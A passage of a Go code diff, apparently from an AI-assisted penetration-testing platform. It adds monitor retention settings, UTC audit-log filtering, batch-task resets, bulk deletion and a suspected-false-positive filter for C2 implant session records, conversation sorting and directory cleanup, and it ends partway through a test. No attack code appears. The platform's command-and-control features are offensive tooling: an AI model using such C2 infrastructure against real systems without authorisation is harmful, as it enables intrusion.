 	Database    DatabaseConfig        `yaml:"database"`
 	Auth        AuthConfig            `yaml:"auth"`
 	Audit       AuditConfig           `yaml:"audit,omitempty" json:"audit,omitempty"`
+	Monitor     MonitorConfig         `yaml:"monitor,omitempty" json:"monitor,omitempty"`
 	ExternalMCP ExternalMCPConfig     `yaml:"external_mcp,omitempty"`
 	Knowledge   KnowledgeConfig       `yaml:"knowledge,omitempty"`
 	C2          C2Config              `yaml:"c2,omitempty" json:"c2,omitempty"` // 内置 C2 总开关；未配置时默认启用
@@ -45,6 +46,7 @@ type ProjectConfig struct {
 	Enabled                 bool   `yaml:"enabled" json:"enabled"`
 	DefaultProjectID        string `yaml:"default_project_id,omitempty" json:"default_project_id,omitempty"` // 机器人/批量等无显式项目时绑定的默认项目
 	FactIndexMaxRunes       int    `yaml:"fact_index_max_runes,omitempty" json:"fact_index_max_runes,omitempty"`
+	FactIndexPathMaxRunes   int    `yaml:"fact_index_path_max_runes,omitempty" json:"fact_index_path_max_runes,omitempty"`
 	FactSummaryMaxRunes     int    `yaml:"fact_summary_max_runes,omitempty" json:"fact_summary_max_runes,omitempty"`
 	DefaultInjectDeprecated bool   `yaml:"default_inject_deprecated,omitempty" json:"default_inject_deprecated,omitempty"`
 }
@@ -57,6 +59,14 @@ func (c ProjectConfig) FactIndexMaxRunesEffective() int {
 	return c.FactIndexMaxRunes
 }
 
+// FactIndexPathMaxRunesEffective 攻击路径速览段的最大 rune 数（从 fact_index_max_runes 预算中预留）。
+func (c ProjectConfig) FactIndexPathMaxRunesEffective() int {
+	if c.FactIndexPathMaxRunes <= 0 {
+		return 1000
+	}
+	return c.FactIndexPathMaxRunes
+}
+
 // FactSummaryMaxRunesEffective upsert 时 summary 最大 rune 数（索引一行，宜含验证要点）。
 func (c ProjectConfig) FactSummaryMaxRunesEffective() int {
 	if c.FactSummaryMaxRunes <= 0 {
@@ -231,7 +241,7 @@ type MultiAgentEinoMiddlewareConfig struct {
 	PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
 	// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
 	ReductionEnable       bool     `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
-	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id
+	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // 非空：落盘根目录（默认 tmp/reduction）；其下按 projects/{id} 或 conversations/{id} 隔离
 	ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
 	ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
 	ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
@@ -240,7 +250,7 @@ type MultiAgentEinoMiddlewareConfig struct {
 	SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
 	// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
 	SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
-	// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
+	// SummarizationRetryMaxAttempts 已废弃：summarization 与 run loop 共用 run_retry_max_attempts 及 isEinoTransientRunError。
 	SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
 	// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
 	PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
@@ -254,9 +264,9 @@ type MultiAgentEinoMiddlewareConfig struct {
 	CheckpointDir string `yaml:"checkpoint_dir,omitempty" json:"checkpoint_dir,omitempty"`
 	// DeepOutputKey passed to deep.Config OutputKey (session final text); empty = off.
 	DeepOutputKey string `yaml:"deep_output_key,omitempty" json:"deep_output_key,omitempty"`
-	// DeepModelRetryMaxRetries > 0 enables deep.Config ModelRetryConfig (framework-level chat model retries).
+	// DeepModelRetryMaxRetries 已废弃：临时错误统一由 run loop 内 isEinoTransientRunError + run_retry_max_attempts 处理。
 	DeepModelRetryMaxRetries int `yaml:"deep_model_retry_max_retries,omitempty" json:"deep_model_retry_max_retries,omitempty"`
-	// RunRetryMaxAttempts > 0：429/5xx/网络抖动时 handler 分段续跑次数；0=默认 10。
+	// RunRetryMaxAttempts > 0：429/5xx/网络抖动时可退避重试次数（run loop 与 summarization 共用）；0=默认 10。
 	RunRetryMaxAttempts int `yaml:"run_retry_max_attempts,omitempty" json:"run_retry_max_attempts,omitempty"`
 	// RunRetryMaxBackoffSec 单次退避上限秒数；0=默认 30。
 	RunRetryMaxBackoffSec int `yaml:"run_retry_max_backoff_sec,omitempty" json:"run_retry_max_backoff_sec,omitempty"`
@@ -593,10 +603,8 @@ type DatabaseConfig struct {
 }
 
 type AgentConfig struct {
-	MaxIterations        int    `yaml:"max_iterations" json:"max_iterations"`
+	MaxIterations      int    `yaml:"max_iterations" json:"max_iterations"`
-	LargeResultThreshold int    `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值（字节），默认50KB
+	ToolTimeoutMinutes int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
-	ResultStorageDir     string `yaml:"result_storage_dir" json:"result_storage_dir"`         // 结果存储目录，默认tmp
-	ToolTimeoutMinutes   int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"`     // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
 	// SystemPromptPath 单代理系统提示 Markdown/文本文件路径（相对 config.yaml 所在目录，或可写绝对路径）。非空且可读时替换内置单代理提示；留空用内置。
 	SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
 }
@@ -616,6 +624,23 @@ type AuthConfig struct {
 	GeneratedPasswordPersistErr string `yaml:"-" json:"-"`
 }
 
+// MonitorConfig MCP 状态监控（tool_executions）保留策略。
+type MonitorConfig struct {
+	// RetentionDays 执行记录保留天数；省略时默认 90；0 表示不自动清理。
+	RetentionDays *int `yaml:"retention_days,omitempty" json:"retention_days,omitempty"`
+}
+
+// RetentionDaysEffective returns retention; 0 means keep forever; omitted defaults to 90.
+func (m MonitorConfig) RetentionDaysEffective() int {
+	if m.RetentionDays == nil {
+		return 90
+	}
+	if *m.RetentionDays < 0 {
+		return 0
+	}
+	return *m.RetentionDays
+}
+
 // AuditConfig platform operation audit log settings (not chat/tool execution bodies).
 type AuditConfig struct {
 	// Enabled nil or true enables persistence; explicit false disables.
@@ -1267,6 +1292,10 @@ func Default() *Config {
 				Enabled:        &on,
 			}
 		}(),
+		Monitor: func() MonitorConfig {
+			days := 90
+			return MonitorConfig{RetentionDays: &days}
+		}(),
 		Robots: RobotsConfig{
 			Session: RobotSessionConfig{
 				StrictUserIdentity: &strictRobotIdentity,

internal/database/audit.go

@@ -69,12 +69,12 @@ func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
 		args = append(args, filter.ResourceID)
 	}
 	if filter.Since != nil {
-		conditions = append(conditions, "created_at >= ?")
+		conditions = append(conditions, sqliteEpochGE("created_at", ">="))
-		args = append(args, *filter.Since)
+		args = append(args, formatSQLiteUTC(*filter.Since))
 	}
 	if filter.Until != nil {
-		conditions = append(conditions, "created_at <= ?")
+		conditions = append(conditions, sqliteEpochGE("created_at", "<="))
-		args = append(args, *filter.Until)
+		args = append(args, formatSQLiteUTC(*filter.Until))
 	}
 	if q := strings.TrimSpace(filter.Query); q != "" {
 		like := "%" + q + "%"
@@ -93,7 +93,9 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		return errors.New("audit id is required")
 	}
 	if row.CreatedAt.IsZero() {
-		row.CreatedAt = time.Now()
+		row.CreatedAt = time.Now().UTC()
+	} else {
+		row.CreatedAt = row.CreatedAt.UTC()
 	}
 	if strings.TrimSpace(row.Level) == "" {
 		row.Level = "info"
@@ -111,7 +113,7 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
 	`
 	_, err := db.Exec(query,
-		row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result,
+		row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
 		row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
 		row.ResourceType, row.ResourceID, row.Message, detailJSON,
 	)
@@ -202,7 +204,7 @@ func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
 
 // DeleteAuditLogsBefore removes rows older than cutoff.
 func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
-	res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff)
+	res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
 	if err != nil {
 		return 0, err
 	}

internal/database/audit_time_test.go

@@ -0,0 +1,62 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
+	since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
+	until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
+	where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
+	if !strings.Contains(where, "strftime('%s', created_at) >=") {
+		t.Fatalf("expected epoch comparison for since, got %q", where)
+	}
+	if !strings.Contains(where, "strftime('%s', created_at) <=") {
+		t.Fatalf("expected epoch comparison for until, got %q", where)
+	}
+	if len(args) != 2 {
+		t.Fatalf("expected 2 time args, got %d", len(args))
+	}
+	for i, arg := range args {
+		s, ok := arg.(string)
+		if !ok || s == "" {
+			t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
+		}
+	}
+}
+
+func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
+	root, err := os.Getwd()
+	if err != nil {
+		t.Skip(err)
+	}
+	dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
+	if _, err := os.Stat(dbPath); err != nil {
+		t.Skip("conversations.db not found")
+	}
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer db.Close()
+
+	since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
+	until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
+	filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
+	logs, err := db.ListAuditLogs(filter)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, row := range logs {
+		at := row.CreatedAt.UTC()
+		if at.Before(since) || at.After(until) {
+			t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
+		}
+	}
+}

internal/database/batch_task.go

@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
 // GetBatchTasks 获取批量任务队列的所有任务
 func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
 	rows, err := db.Query(
-		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
+		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
 		queueID,
 	)
 	if err != nil {
@@ -507,6 +507,42 @@ func (db *DB) CancelPendingBatchTasks(queueID string, completedAt time.Time) err
 	return nil
 }
 
+// PrepareBatchSingleTaskRun 准备单条执行：可选重置子任务，并更新队列索引与状态
+func (db *DB) PrepareBatchSingleTaskRun(queueID, taskID string, taskIndex int, resetTask, resumeQueue bool) error {
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开始事务失败: %w", err)
+	}
+	defer tx.Rollback()
+
+	if resetTask {
+		_, err = tx.Exec(
+			"UPDATE batch_tasks SET status = ?, conversation_id = NULL, started_at = NULL, completed_at = NULL, error = NULL, result = NULL WHERE queue_id = ? AND id = ?",
+			"pending", queueID, taskID,
+		)
+		if err != nil {
+			return fmt.Errorf("重置批量任务状态失败: %w", err)
+		}
+	}
+
+	if resumeQueue {
+		_, err = tx.Exec(
+			"UPDATE batch_task_queues SET status = ?, current_index = ?, completed_at = NULL, last_run_error = NULL WHERE id = ?",
+			"paused", taskIndex, queueID,
+		)
+	} else {
+		_, err = tx.Exec(
+			"UPDATE batch_task_queues SET current_index = ?, last_run_error = NULL WHERE id = ?",
+			taskIndex, queueID,
+		)
+	}
+	if err != nil {
+		return fmt.Errorf("更新批量任务队列状态失败: %w", err)
+	}
+
+	return tx.Commit()
+}
+
 // DeleteBatchTask 删除批量任务
 func (db *DB) DeleteBatchTask(queueID, taskID string) error {
 	_, err := db.Exec(

internal/database/c2.go

@@ -17,6 +17,9 @@ var ErrNoValidC2EventIDs = errors.New("no valid event ids")
 // ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID
 var ErrNoValidC2TaskIDs = errors.New("no valid task ids")
 
+// ErrNoValidC2SessionIDs 批量删除会话时未提供任何合法 ID
+var ErrNoValidC2SessionIDs = errors.New("no valid session ids")
+
 // validC2TextIDForDelete 校验 C2 文本主键（e_/t_/s_/… 等）用于批量删除入参
 func validC2TextIDForDelete(id string) bool {
 	if len(id) < 2 || len(id) > 80 {
@@ -473,6 +476,7 @@ type ListC2SessionsFilter struct {
 	Status     string // active|sleeping|dead|killed；空表示全部
 	OS         string
 	Search     string // 模糊匹配 hostname/username/internal_ip
+	Suspicious bool   // 疑似误报：离线且 hostname 为 tcp_* / 用户名为 unknown / PID 为 0
 	Limit      int    // 0 表示无限制
 }
 
@@ -497,6 +501,11 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
 		kw := "%" + filter.Search + "%"
 		args = append(args, kw, kw, kw)
 	}
+	if filter.Suspicious {
+		conditions = append(conditions, `status = 'dead' AND (
+			hostname LIKE 'tcp_%' OR LOWER(COALESCE(username,'')) = 'unknown' OR COALESCE(pid, 0) = 0
+		)`)
+	}
 	query := `
 		SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''),
 			COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''),
@@ -554,6 +563,44 @@ func (db *DB) DeleteC2Session(id string) error {
 	return nil
 }
 
+// DeleteC2SessionsByIDs 按主键批量删除会话
+func (db *DB) DeleteC2SessionsByIDs(ids []string) (int64, error) {
+	if len(ids) == 0 {
+		return 0, nil
+	}
+	const maxBatch = 500
+	if len(ids) > maxBatch {
+		ids = ids[:maxBatch]
+	}
+	clean := make([]string, 0, len(ids))
+	seen := make(map[string]struct{}, len(ids))
+	for _, id := range ids {
+		id = strings.TrimSpace(id)
+		if !validC2TextIDForDelete(id) {
+			continue
+		}
+		if _, ok := seen[id]; ok {
+			continue
+		}
+		seen[id] = struct{}{}
+		clean = append(clean, id)
+	}
+	if len(clean) == 0 {
+		return 0, ErrNoValidC2SessionIDs
+	}
+	placeholders := strings.Repeat("?,", len(clean)-1) + "?"
+	args := make([]interface{}, len(clean))
+	for i := range clean {
+		args[i] = clean[i]
+	}
+	query := `DELETE FROM c2_sessions WHERE id IN (` + placeholders + `)`
+	res, err := db.Exec(query, args...)
+	if err != nil {
+		return 0, err
+	}
+	return res.RowsAffected()
+}
+
 // ----------------------------------------------------------------------------
 // CRUD：C2 任务
 // ----------------------------------------------------------------------------

internal/database/conversation.go

@@ -352,8 +352,8 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 
 	conv.Pinned = pinned != 0
 
-	// 加载消息（不加载 process_details）
+	// 加载消息（不加载 process_details / reasoning_content，减少历史会话切换 payload）
-	messages, err := db.GetMessages(id)
+	messages, err := db.GetMessagesLite(id)
 	if err != nil {
 		return nil, fmt.Errorf("加载消息失败: %w", err)
 	}
@@ -382,26 +382,40 @@ func (db *DB) CountConversations(search string) (int, error) {
 	return count, nil
 }
 
+func conversationOrderClause(sortBy, tableAlias string) string {
+	col := "updated_at"
+	if strings.TrimSpace(strings.ToLower(sortBy)) == "created_at" {
+		col = "created_at"
+	}
+	prefix := tableAlias
+	if prefix != "" {
+		prefix += "."
+	}
+	return "ORDER BY " + prefix + col + " DESC"
+}
+
 // ListConversations 列出所有对话
-func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
+func (db *DB) ListConversations(limit, offset int, search, sortBy string) ([]*Conversation, error) {
 	var rows *sql.Rows
 	var err error
 
 	if search != "" {
 		// 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT，避免大表笛卡尔积
 		searchPattern := "%" + search + "%"
+		orderClause := conversationOrderClause(sortBy, "c")
 		rows, err = db.Query(
 			`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
 			 FROM conversations c
 			 WHERE c.title LIKE ?
 			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)
-			 ORDER BY c.updated_at DESC
+			 `+orderClause+`
 			 LIMIT ? OFFSET ?`,
 			searchPattern, searchPattern, limit, offset,
 		)
 	} else {
+		orderClause := conversationOrderClause(sortBy, "")
 		rows, err = db.Query(
-			"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations ORDER BY updated_at DESC LIMIT ? OFFSET ?",
+			"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations "+orderClause+" LIMIT ? OFFSET ?",
 			limit, offset,
 		)
 	}
@@ -467,11 +481,12 @@ func (db *DB) CountUngroupedConversations() (int, error) {
 }
 
 // ListUngroupedConversations 列出不在任何分组中的对话（最近对话侧栏）。
-func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
+func (db *DB) ListUngroupedConversations(limit, offset int, sortBy string) ([]*Conversation, error) {
+	orderClause := conversationOrderClause(sortBy, "c")
 	rows, err := db.Query(
 		`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
 			ungroupedConversationsSQL+`
-		 ORDER BY c.updated_at DESC
+		 `+orderClause+`
 		 LIMIT ? OFFSET ?`,
 		limit, offset,
 	)
@@ -543,39 +558,107 @@ func (db *DB) UpdateConversationTime(id string) error {
 	return nil
 }
 
-// DeleteConversation 删除对话及其所有相关数据
+// DeleteConversation 删除对话及其会话相关数据。
 // 由于数据库外键约束设置了 ON DELETE CASCADE，删除对话时会自动删除：
 // - messages（消息）
 // - process_details（过程详情）
 // - attack_chain_nodes（攻击链节点）
 // - attack_chain_edges（攻击链边）
-// - vulnerabilities（漏洞）
 // - conversation_group_mappings（分组映射）
-// 注意：knowledge_retrieval_logs 使用 ON DELETE SET NULL，记录会保留但 conversation_id 会被设为 NULL
+// 漏洞记录会保留：vulnerabilities.conversation_id 使用 ON DELETE SET NULL，仅解除与会话的关联。
+// 注意：knowledge_retrieval_logs 在删除前会被显式清理。
 func (db *DB) DeleteConversation(id string) error {
+	// 删除对话前补全漏洞来源标签，便于在漏洞库中追溯已删除会话的发现。
+	_, err := db.Exec(`
+		UPDATE vulnerabilities
+		SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
+		WHERE conversation_id = ?
+	`, id, id)
+	if err != nil {
+		db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
+	}
+
 	// 显式删除知识检索日志（虽然外键是SET NULL，但为了彻底清理，我们手动删除）
-	_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
+	_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
 	if err != nil {
 		db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
 		// 不返回错误，继续删除对话
 	}
 
+	projectID, _ := db.GetConversationProjectID(id)
+
 	// 删除对话（外键CASCADE会自动删除其他相关数据）
 	_, err = db.Exec("DELETE FROM conversations WHERE id = ?", id)
 	if err != nil {
 		return fmt.Errorf("删除对话失败: %w", err)
 	}
-	// Best-effort cleanup for conversation-scoped filesystem artifacts
+	db.removeConversationScopedDirs(id, projectID)
-	// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
+
-	if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
+	db.logger.Info("对话已删除（漏洞记录已保留）", zap.String("conversationId", id))
-		artDir := filepath.Join(base, id)
+	return nil
-		if rmErr := os.RemoveAll(artDir); rmErr != nil {
+}
-			db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
+
+func sanitizeConversationPathSegment(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "default"
+	}
+	s = strings.ReplaceAll(s, string(filepath.Separator), "-")
+	s = strings.ReplaceAll(s, "/", "-")
+	s = strings.ReplaceAll(s, "\\", "-")
+	s = strings.ReplaceAll(s, "..", "__")
+	if len(s) > 180 {
+		s = s[:180]
+	}
+	return s
+}
+
+func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
+	base = strings.TrimSpace(base)
+	if base == "" {
+		return
+	}
+	dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
+	if rmErr := os.RemoveAll(dir); rmErr != nil {
+		if db.logger != nil {
+			db.logger.Warn("删除会话目录失败",
+				zap.String("conversationId", conversationID),
+				zap.String("kind", label),
+				zap.String("dir", dir),
+				zap.Error(rmErr))
 		}
 	}
+}
 
-	db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
+func (db *DB) einoReductionBaseDir() string {
-	return nil
+	if db == nil {
+		return ""
+	}
+	if base := strings.TrimSpace(db.einoReductionRootDir); base != "" {
+		return base
+	}
+	return filepath.Join("tmp", "reduction")
+}
+
+func (db *DB) removeConversationScopedDirs(conversationID, projectID string) {
+	// summarization transcript, etc.
+	db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
+	// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
+	db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
+	// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
+	db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
+	// Eino reduction persisted tool outputs (tmp/reduction/conversations/<id>/).
+	// Project-bound sessions share projects/<id>/ — skip on single conversation delete.
+	if strings.TrimSpace(projectID) == "" {
+		reductionBase := filepath.Join(db.einoReductionBaseDir(), "conversations")
+		db.removeConversationScopedDir(reductionBase, conversationID, "reduction")
+	}
+}
+
+func (db *DB) removeProjectScopedDirs(projectID string) {
+	// Eino reduction persisted tool outputs (tmp/reduction/projects/<id>/).
+	reductionBase := filepath.Join(db.einoReductionBaseDir(), "projects")
+	db.removeConversationScopedDir(reductionBase, projectID, "reduction")
 }
 
 // SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
@@ -752,6 +835,62 @@ func (db *DB) GetMessages(conversationID string) ([]Message, error) {
 	return messages, nil
 }
 
+// GetMessagesLite 获取对话消息（不含 reasoning_content），用于历史会话快速切换。
+func (db *DB) GetMessagesLite(conversationID string) ([]Message, error) {
+	rows, err := db.Query(
+		"SELECT id, conversation_id, role, content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
+		conversationID,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询消息失败: %w", err)
+	}
+	defer rows.Close()
+
+	var messages []Message
+	for rows.Next() {
+		var msg Message
+		var mcpIDsJSON sql.NullString
+		var createdAt string
+		var updatedAt sql.NullString
+
+		if err := rows.Scan(&msg.ID, &msg.ConversationID, &msg.Role, &msg.Content, &mcpIDsJSON, &createdAt, &updatedAt); err != nil {
+			return nil, fmt.Errorf("扫描消息失败: %w", err)
+		}
+
+		var err error
+		msg.CreatedAt, err = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if err != nil {
+			msg.CreatedAt, err = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if err != nil {
+			msg.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		if updatedAt.Valid && strings.TrimSpace(updatedAt.String) != "" {
+			msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt.String)
+			if err != nil {
+				msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05", updatedAt.String)
+			}
+			if err != nil {
+				msg.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt.String)
+			}
+		}
+		if msg.UpdatedAt.IsZero() {
+			msg.UpdatedAt = msg.CreatedAt
+		}
+
+		if mcpIDsJSON.Valid && mcpIDsJSON.String != "" {
+			if err := json.Unmarshal([]byte(mcpIDsJSON.String), &msg.MCPExecutionIDs); err != nil {
+				db.logger.Warn("解析MCP执行ID失败", zap.Error(err))
+			}
+		}
+
+		messages = append(messages, msg)
+	}
+
+	return messages, nil
+}
+
 // turnSliceRange 根据任意一条消息 ID 定位「一轮对话」在 msgs 中的 [start, end) 下标区间（msgs 须已按时间升序，与 GetMessages 一致）。
 // 一轮 = 从某条 user 消息起，至下一条 user 之前（含中间所有 assistant）。
 func turnSliceRange(msgs []Message, anchorID string) (start, end int, err error) {
@@ -920,6 +1059,107 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 	return details, nil
 }
 
+// ProcessDetailsSummary 过程详情摘要（用于折叠态展示，避免全量加载）。
+type ProcessDetailsSummary struct {
+	Total          int `json:"total"`
+	IterationCount int `json:"iterationCount"`
+	MaxIteration   int `json:"maxIteration"`
+}
+
+// GetProcessDetailsSummary 统计消息的过程详情数量与迭代轮次。
+func (db *DB) GetProcessDetailsSummary(messageID string) (*ProcessDetailsSummary, error) {
+	var total int
+	if err := db.QueryRow(
+		"SELECT COUNT(*) FROM process_details WHERE message_id = ?",
+		messageID,
+	).Scan(&total); err != nil {
+		return nil, fmt.Errorf("统计过程详情失败: %w", err)
+	}
+
+	summary := &ProcessDetailsSummary{Total: total}
+	if total == 0 {
+		return summary, nil
+	}
+
+	rows, err := db.Query(
+		"SELECT data FROM process_details WHERE message_id = ? AND event_type = 'iteration' ORDER BY created_at ASC, rowid ASC",
+		messageID,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询迭代详情失败: %w", err)
+	}
+	defer rows.Close()
+
+	maxIter := 0
+	iterCount := 0
+	for rows.Next() {
+		var dataJSON string
+		if err := rows.Scan(&dataJSON); err != nil {
+			return nil, fmt.Errorf("扫描迭代详情失败: %w", err)
+		}
+		iterCount++
+		if dataJSON == "" {
+			continue
+		}
+		var payload map[string]interface{}
+		if err := json.Unmarshal([]byte(dataJSON), &payload); err != nil {
+			continue
+		}
+		if n, ok := payload["iteration"].(float64); ok && int(n) > maxIter {
+			maxIter = int(n)
+		}
+	}
+	summary.IterationCount = iterCount
+	summary.MaxIteration = maxIter
+	return summary, nil
+}
+
+// GetProcessDetailsPage 分页获取消息的过程详情（按时间升序）。
+func (db *DB) GetProcessDetailsPage(messageID string, limit, offset int) ([]ProcessDetail, int, error) {
+	var total int
+	if err := db.QueryRow(
+		"SELECT COUNT(*) FROM process_details WHERE message_id = ?",
+		messageID,
+	).Scan(&total); err != nil {
+		return nil, 0, fmt.Errorf("统计过程详情失败: %w", err)
+	}
+	if total == 0 || offset >= total {
+		return nil, total, nil
+	}
+
+	rows, err := db.Query(
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC LIMIT ? OFFSET ?",
+		messageID, limit, offset,
+	)
+	if err != nil {
+		return nil, 0, fmt.Errorf("查询过程详情失败: %w", err)
+	}
+	defer rows.Close()
+
+	var details []ProcessDetail
+	for rows.Next() {
+		var detail ProcessDetail
+		var createdAt string
+
+		if err := rows.Scan(&detail.ID, &detail.MessageID, &detail.ConversationID, &detail.EventType, &detail.Message, &detail.Data, &createdAt); err != nil {
+			return nil, 0, fmt.Errorf("扫描过程详情失败: %w", err)
+		}
+
+		var parseErr error
+		detail.CreatedAt, parseErr = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if parseErr != nil {
+			detail.CreatedAt, parseErr = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if parseErr != nil {
+			detail.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		details = append(details, detail)
+	}
+
+	return details, total, nil
+}
+
 // GetProcessDetailsByConversation 获取对话的所有过程详情（按消息分组）
 func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
 	rows, err := db.Query(

internal/database/conversation_cleanup_test.go

@@ -0,0 +1,94 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
